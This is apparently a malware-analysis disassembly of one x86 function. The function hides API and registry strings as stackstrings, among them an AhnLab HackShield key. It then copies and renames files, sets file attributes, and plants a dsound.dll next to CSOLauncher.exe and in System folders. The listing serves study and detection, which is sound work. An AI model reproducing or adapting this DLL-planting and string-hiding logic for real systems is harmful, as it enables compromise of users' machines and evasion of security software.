Function at 0x402b37
Capabilities:
Contain obfuscated stackstrings
Get common file path
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb6c
push ebx
and byte [ebp - 0x658], 0
push esi
push edi
push pe_nt_image_headers32
xor eax, eax
pop edx
lea edi, [ebp - 0x657]
mov ecx, edx
and byte [ebp - 0xb6c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0xb6b]
and byte [ebp - 0x18c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x18b]
and byte [ebp - 0x34c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x34b]
and byte [ebp - 0x554], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x553]
and byte [ebp - 0x964], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x963]
and byte [ebp - 0xa68], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0xa67]
and byte [ebp - 0x47], 0
rep stosd dword es:[edi], eax
and dword [ebp - 0x38], 0
and byte [ebp - 0x75c], 0
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x75b]
mov byte [ebp - 0x50], 0x43
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov byte [ebp - 0x4f], 0x6f
mov byte [ebp - 0x4e], 0x70
mov byte [ebp - 0x4d], 0x79
mov byte [ebp - 0x4c], 0x46
mov byte [ebp - 0x4b], 0x69
mov byte [ebp - 0x4a], 0x6c
mov byte [ebp - 0x49], 0x65
mov byte [ebp - 0x48], 0x41
stosb byte es:[edi], al
mov byte [ebp - 0x68], 0x53
mov byte [ebp - 0x67], 0x4f
mov byte [ebp - 0x66], 0x46
mov byte [ebp - 0x65], 0x54
mov byte [ebp - 0x64], 0x57
mov byte [ebp - 0x63], 0x41
mov byte [ebp - 0x62], 0x52
mov byte [ebp - 0x61], 0x45
mov byte [ebp - 0x60], 0x5c
mov esi, str.CSOLauncher.exe
lea edi, [ebp - 0x88]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, str.CSOLauncher
lea edi, [ebp - 0x74]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
and byte [ebp - 0x51], 0
and byte [ebp - 0x31], 0
and byte [ebp - 0x3f], 0
lea eax, [ebp - 0x44]
movsd dword es:[edi], dword [esi]
mov edi, dword [ebp + 0xc]
push 0x77
push eax
push edi
mov byte [ebp - 0x5f], 0x41
mov byte [ebp - 0x5e], 0x68
mov byte [ebp - 0x5d], 0x6e
mov byte [ebp - 0x5c], 0x4c
mov byte [ebp - 0x5b], 0x61
mov byte [ebp - 0x5a], 0x62
mov byte [ebp - 0x59], 0x5c
mov byte [ebp - 0x58], 0x48
mov byte [ebp - 0x57], 0x53
mov byte [ebp - 0x56], 0x68
mov byte [ebp - 0x55], 0x69
mov byte [ebp - 0x54], 0x65
mov byte [ebp - 0x53], 0x6c
mov byte [ebp - 0x52], 0x64
mov byte [ebp - 0x44], 0x50
mov byte [ebp - 0x43], 0x4f
mov byte [ebp - 0x42], 0x50
mov byte [ebp - 0x41], 0x55
mov byte [ebp - 0x40], 0x50
call fcn.00402518
add esp, 0xc
test eax, eax
je 0x402cd6
push edi
call fcn.00402872
pop ecx
push edi
call fcn.004015e5
test eax, eax
pop ecx
je 0x40340e
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
lea eax, [ebp - 0x50]
mov ebx, str.Kernel32.dll
push eax
push ebx
call esi
push eax
call fcn.00401781
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x31]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x554]
push 0x80000001
push eax
call fcn.00401dfa
add esp, 0x20
test eax, eax
je 0x402dff
and byte [ebp - 0x29], 0
lea eax, [ebp - 0x554]
push eax
mov byte [ebp - 0x2a], 0x5c
call sub.MSVCRT.dll_strlen
cmp byte [ebp + eax - 0x555], 0x5c
pop ecx
je 0x402d60
lea eax, [ebp - 0x2a]
push eax
lea eax, [ebp - 0x554]
push eax
call fcn.004015fb
pop ecx
pop ecx
lea eax, [ebp - 0x75c]
push str.msvcp80.org
push eax
call fcn.004015fb
lea eax, [ebp - 0x554]
push eax
lea eax, [ebp - 0x658]
push eax
call fcn.00401504
lea eax, [ebp - 0x554]
push eax
lea eax, [ebp - 0x964]
push eax
call fcn.00401504
lea eax, [ebp - 0x75c]
push eax
lea eax, [ebp - 0x658]
push eax
call fcn.004015fb
lea eax, [ebp - 0x658]
mov dword [ebp - 0x38], 1
push eax
call fcn.00401922
add esp, 0x24
test eax, eax
je 0x402dd6
lea eax, [ebp - 0x658]
push 0x80
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea eax, [ebp - 0x658]
push eax
lea eax, [ebp - 0x18c]
push eax
call fcn.00401504
lea eax, [ebp - 0xb6c]
push eax
lea eax, [ebp - 0x34c]
push eax
call fcn.00401504
add esp, 0x10
lea eax, [ebp - 0x18c]
push eax
call fcn.004015e5
test eax, eax
pop ecx
je 0x402f78
lea eax, [ebp - 0x18c]
push 0x80
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea eax, [ebp - 0x18c]
push 0
push eax
push edi
call dword [ebp - 0x3c]
test eax, eax
je 0x402f0e
and byte [ebp - 2], 0
and byte [ebp - 0x16], 0
lea eax, [ebp - 0x14]
mov byte [ebp - 0x14], 0x47
push eax
push ebx
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x46
mov byte [ebp - 0x10], 0x69
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x41
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x74
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 9], 0x69
mov byte [ebp - 8], 0x62
mov byte [ebp - 7], 0x75
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0x73
mov byte [ebp - 3], 0x41
mov byte [ebp - 0x28], 0x53
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x74
mov byte [ebp - 0x25], 0x46
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x41
mov byte [ebp - 0x20], 0x74
mov byte [ebp - 0x1f], 0x74
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x69
mov byte [ebp - 0x1c], 0x62
mov byte [ebp - 0x1b], 0x75
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x73
mov byte [ebp - 0x17], 0x41
call esi
push eax
call fcn.00401781
pop ecx
mov edi, eax
pop ecx
lea eax, [ebp - 0x28]
push eax
push ebx
call esi
push eax
call fcn.00401781
pop ecx
mov dword [ebp - 0x2c], eax
pop ecx
lea eax, [ebp - 0x18c]
push eax
call edi
or al, 2
push eax
lea eax, [ebp - 0x18c]
push eax
call dword [ebp - 0x2c]
jmp 0x402f78
and byte [ebp - 0x450], 0
push pe_nt_image_headers32
pop ecx
xor eax, eax
lea edi, [ebp - 0x44f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x18c]
push eax
lea eax, [ebp - 0x450]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x450]
push 0x4060ac
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x450]
push 3
push eax
lea eax, [ebp - 0x18c]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
lea eax, [ebp - 0x18c]
push 0
push eax
push dword [ebp + 0xc]
call dword [ebp - 0x3c]
test eax, eax
jne 0x402f78
and dword [ebp - 0x38], eax
lea eax, [ebp - 0x34c]
push eax
call fcn.004015e5
test eax, eax
pop ecx
je 0x4030f3
lea eax, [ebp - 0x34c]
push 0x80
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea eax, [ebp - 0x34c]
push 0
push eax
push dword [ebp + 0xc]
call dword [ebp - 0x3c]
test eax, eax
je 0x403089
and byte [ebp - 0x16], 0
and byte [ebp - 2], 0
lea eax, [ebp - 0x28]
mov byte [ebp - 0x28], 0x47
push eax
push ebx
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x74
mov byte [ebp - 0x25], 0x46
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x41
mov byte [ebp - 0x20], 0x74
mov byte [ebp - 0x1f], 0x74
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x69
mov byte [ebp - 0x1c], 0x62
mov byte [ebp - 0x1b], 0x75
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x73
mov byte [ebp - 0x17], 0x41
mov byte [ebp - 0x14], 0x53
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x46
mov byte [ebp - 0x10], 0x69
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x41
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x74
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 9], 0x69
mov byte [ebp - 8], 0x62
mov byte [ebp - 7], 0x75
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0x73
mov byte [ebp - 3], 0x41
call esi
push eax
call fcn.00401781
pop ecx
mov edi, eax
pop ecx
lea eax, [ebp - 0x14]
push eax
push ebx
call esi
push eax
call fcn.00401781
pop ecx
mov dword [ebp - 0x2c], eax
pop ecx
lea eax, [ebp - 0x34c]
push eax
call edi
or al, 2
push eax
lea eax, [ebp - 0x34c]
push eax
call dword [ebp - 0x2c]
jmp 0x4030f3
and byte [ebp - 0x450], 0
push pe_nt_image_headers32
pop ecx
xor eax, eax
lea edi, [ebp - 0x44f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x34c]
push eax
lea eax, [ebp - 0x450]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x450]
push 0x4060ac
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x450]
push 3
push eax
lea eax, [ebp - 0x34c]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
lea eax, [ebp - 0x34c]
push 0
push eax
push dword [ebp + 0xc]
call dword [ebp - 0x3c]
test eax, eax
jne 0x4030f3
and dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x4033b1
and byte [ebp - 0x1c8], 0
push 0xe
pop ecx
xor eax, eax
lea edi, [ebp - 0x1c7]
and byte [ebp - 0x29], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x5c
mov byte [ebp - 0x30], 0x5c
push dword [ebp + 0xc]
mov byte [ebp - 0x2f], 0x53
stosb byte es:[edi], al
mov byte [ebp - 0x2e], 0x79
mov byte [ebp - 0x2d], 0x73
mov byte [ebp - 0x2c], 0x74
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x6d
call fcn.004014dc
mov edi, eax
inc edi
push edi
call fcn.004015e5
sub eax, 3
push eax
lea eax, [ebp - 0x1c8]
push edi
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
lea eax, [ebp - 0x1c8]
push 0x40608c
push eax
call fcn.004015fb
lea eax, [ebp - 0x1c8]
push eax
lea eax, [ebp - 0x75c]
push eax
call fcn.00401504
and byte [ebp - 0x248], 0
add esp, 0x28
xor eax, eax
lea edi, [ebp - 0x247]
push 0x1f
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x248]
push eax
xor eax, eax
push eax
push eax
push 0x2b
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jl 0x40321d
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x248]
push eax
call fcn.004015fb
lea eax, [ebp - 0x248]
push eax
call fcn.00401625
add esp, 0xc
test eax, eax
jne 0x4031e3
lea eax, [ebp - 0x248]
push eax
call fcn.00402b13
test eax, eax
pop ecx
je 0x40321d
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x18c]
push eax
call fcn.00401504
lea eax, [ebp - 0x18c]
push 0x40605c
push eax
call fcn.004015fb
lea eax, [ebp - 0x75c]
push eax
lea eax, [ebp - 0x18c]
push eax
call fcn.004015fb
add esp, 0x18
lea eax, [ebp - 0x18c]
push eax
call fcn.004015e5
test eax, eax
pop ecx
je 0x4033b1
lea eax, [ebp - 0x18c]
push eax
call fcn.00401922
test eax, eax
pop ecx
je 0x4032b0
lea eax, [ebp - 0x18c]
push 0x2e
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
test eax, eax
pop ecx
je 0x40325b
and byte [eax], 0
and byte [ebp - 0xc], 0
xor eax, eax
lea edi, [ebp - 0xb]
push 0
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
call dword [sym.imp.MSVCRT.dll_rand]
push eax
lea eax, [ebp - 0xc]
push str._06d.
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x18c]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x18c]
push 0x40608c
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x24
xor edi, edi
lea eax, [ebp - 0x18c]
push edi
push eax
push dword [ebp + 0xc]
call dword [ebp - 0x3c]
test eax, eax
je 0x403399
and byte [ebp - 0x16], 0
and byte [ebp - 2], 0
lea eax, [ebp - 0x28]
mov byte [ebp - 0x28], 0x47
push eax
push ebx
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x74
mov byte [ebp - 0x25], 0x46
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x41
mov byte [ebp - 0x20], 0x74
mov byte [ebp - 0x1f], 0x74
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x69
mov byte [ebp - 0x1c], 0x62
mov byte [ebp - 0x1b], 0x75
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x73
mov byte [ebp - 0x17], 0x41
mov byte [ebp - 0x14], 0x53
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x46
mov byte [ebp - 0x10], 0x69
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x41
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x74
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 9], 0x69
mov byte [ebp - 8], 0x62
mov byte [ebp - 7], 0x75
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0x73
mov byte [ebp - 3], 0x41
call esi
push eax
call fcn.00401781
pop ecx
mov edi, eax
pop ecx
lea eax, [ebp - 0x14]
push eax
push ebx
call esi
push eax
call fcn.00401781
pop ecx
mov esi, eax
pop ecx
lea eax, [ebp - 0x18c]
push eax
call edi
or al, 2
push eax
lea eax, [ebp - 0x18c]
push eax
call esi
jmp 0x4033b1
push 0x104
lea eax, [ebp - 0x18c]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x38], edi
and byte [ebp - 0x860], 0
push pe_nt_image_headers32
pop ecx
xor eax, eax
lea edi, [ebp - 0x85f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x18c]
push eax
call fcn.004015e5
test eax, eax
pop ecx
jle 0x4033e2
lea eax, [ebp - 0x18c]
push eax
jmp 0x4033e5
push dword [ebp + 0xc]
lea eax, [ebp - 0x860]
push eax
call fcn.00401504
pop ecx
lea eax, [ebp - 0x860]
pop ecx
mov edi, str.dsound.dll
push eax
push edi
call fcn.004022f9
movzx eax, al
pop ecx
test eax, eax
pop ecx
jne 0x403415
xor eax, eax
jmp 0x4034a8
mov esi, 0x40635c
push esi
call sub.MSVCRT.dll_strlen
cmp eax, 5
pop ecx
jbe 0x403435
lea eax, [ebp - 0x860]
push eax
push esi
call fcn.004022f9
pop ecx
pop ecx
cmp dword [ebp - 0x38], 0
je 0x403483
lea eax, [ebp - 0xa68]
push eax
lea eax, [ebp - 0x964]
push eax
push edi
call fcn.00404659
movzx ebx, al
add esp, 0xc
test ebx, ebx
je 0x403483
push esi
call sub.MSVCRT.dll_strlen
cmp eax, 5
pop ecx
jbe 0x40347f
lea eax, [ebp - 0xa68]
push eax
lea eax, [ebp - 0x964]
push eax
push esi
call fcn.00404659
add esp, 0xc
movzx ebx, al
test ebx, ebx
jne 0x4034a5
push edi
call fcn.00404203
push esi
call sub.MSVCRT.dll_strlen
pop ecx
cmp eax, 5
pop ecx
jbe 0x4034a5
push 0x14
call dword [sym.imp.KERNEL32.DLL_Sleep]
push esi
call fcn.00404203
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret